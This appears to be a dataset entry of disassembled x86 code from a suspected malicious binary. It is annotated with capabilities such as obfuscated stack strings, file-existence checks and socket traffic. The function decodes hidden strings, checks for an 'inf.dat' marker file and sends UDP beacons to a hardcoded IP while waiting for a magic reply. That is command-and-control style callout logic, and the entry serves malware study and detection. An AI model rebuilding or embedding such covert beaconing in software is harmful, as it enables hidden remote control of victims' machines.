Function at 0x416650
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get common file path
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0c
mov eax, dword [0x439030]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x7ff
lea eax, [ebp - 0xa3f]
mov dword [ebp - 0xc04], ecx
push 0
push eax
mov dword [ebp - 0xbf8], 0
mov byte [ebp - 0xa40], 0
call fcn.0041ba00
add esp, 8
mov dword [ebp - 0xbfc], 0
lea eax, [ebp - 0xa40]
push eax
lea eax, [ebp - 0xbf8]
push eax
lea eax, [ebp - 0xbfc]
push eax
call fcn.00416d50
cmp dword [ebp - 0xbfc], 0
jne 0x4169e6
push ecx
lea eax, [ebp - 0xa40]
push eax
lea eax, [ebp - 0xbf8]
push eax
lea eax, [ebp - 0xbfc]
push eax
call fcn.00417210
cmp dword [ebp - 0xbfc], 0
jne 0x4169e6
call fcn.004136a0
test eax, eax
jne 0x4169e6
push 0x206
push eax
mov word [ebp - 0x240], ax
lea eax, [ebp - 0x23e]
push eax
call fcn.0041ba00
add esp, 0xc
lea eax, [ebp - 0x240]
push 0
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.inf.dat
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4169d3
push 0x18e
push eax
mov word [ebp - 0xbf0], ax
lea eax, [ebp - 0xbee]
push eax
call fcn.0041ba00
add esp, 0xc
lea eax, [ebp - 0xbf0]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
movdqa xmm0, xmmword [0x4360e0]
lea edx, [ebp - 0xbf8]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0xbf8], 0
movdqu xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x6f632e38
mov dword [ebp - 0x20], 0x63692f6d
mov dword [ebp - 0x1c], 0x7073612e
mov byte [ebp - 0x18], 0
call fcn.004175e0
mov ecx, dword [ebp - 0xbf8]
test ecx, ecx
je 0x4169e6
test eax, eax
je 0x4169e6
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0xd4d7b4c0
push eax
push ecx
mov word [ebp - 8], 0xbaa3
mov byte [ebp - 6], 0
call fcn.00419900
add esp, 8
test eax, eax
je 0x4169e6
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 0xa9becfc4
push ecx
add eax, 6
mov word [ebp - 0x10], 0xd0ca
push eax
mov byte [ebp - 0xe], 0
call fcn.00419900
add esp, 8
test eax, eax
jne 0x4169e6
push eax
push 2
push 2
call sub.WS2_32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4169e6
push 4
lea eax, [ebp - 0xbf4]
mov dword [ebp - 0xbf4], 0xbb8
push eax
push 0x1005
push 0xffff
push ebx
call sub.WS2_32.dll_setsockopt
push 4
lea eax, [ebp - 0xbf4]
push eax
push 0x1006
push 0xffff
push ebx
call sub.WS2_32.dll_setsockopt
push 4
lea eax, [ebp - 0xbf4]
mov dword [ebp - 0xbf4], 4
push eax
push 0x1001
push 0xffff
push ebx
call sub.WS2_32.dll_setsockopt
push 4
lea eax, [ebp - 0xbf4]
mov dword [ebp - 0xbf4], 0x204
push eax
push 0x1002
push 0xffff
push ebx
call sub.WS2_32.dll_setsockopt
xorps xmm0, xmm0
mov eax, 2
movdqu xmmword [ebp - 0xa50], xmm0
push 0x501
mov word [ebp - 0xa50], ax
call sub.WS2_32.dll_htons
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov word [ebp - 0xa4e], ax
mov dword [ebp - 0xa4c], 0x3d389f73
mov dword [ebp - 0xc00], 0x10
lea ebx, [ebx]
push 0x10
lea eax, [ebp - 0xa50]
mov dword [ebp - 0xc08], 0x99999
push eax
push 0
push 4
lea eax, [ebp - 0xc08]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jle 0x416996
lea eax, [ebp - 0xc00]
push eax
lea eax, [ebp - 0xa60]
push eax
push 0
push 0x204
push dword [ebp - 0xc04]
push ebx
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
jne 0x416957
push 0x64
call esi
inc edi
jmp 0x41699b
cmp dword [ebp - 0xc00], 0x10
jne 0x4169c6
lea ecx, [ebp - 0xa50]
mov esi, 0xc
lea edx, [ebp - 0xa60]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4169c0
add ecx, 4
add edx, 4
sub esi, 4
jae 0x416971
mov eax, dword [ebp - 0xc04]
cmp dword [eax], 0xff1425
je 0x4169cd
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
inc edi
call esi
cmp edi, 0x1e
jl 0x416900
push ebx
call sub.WS2_32.dll_closesocket
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041813f
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
inc edi
jmp 0x41699b
push ebx
call sub.WS2_32.dll_closesocket
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041813f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041813f
mov esp, ebp
pop ebp
ret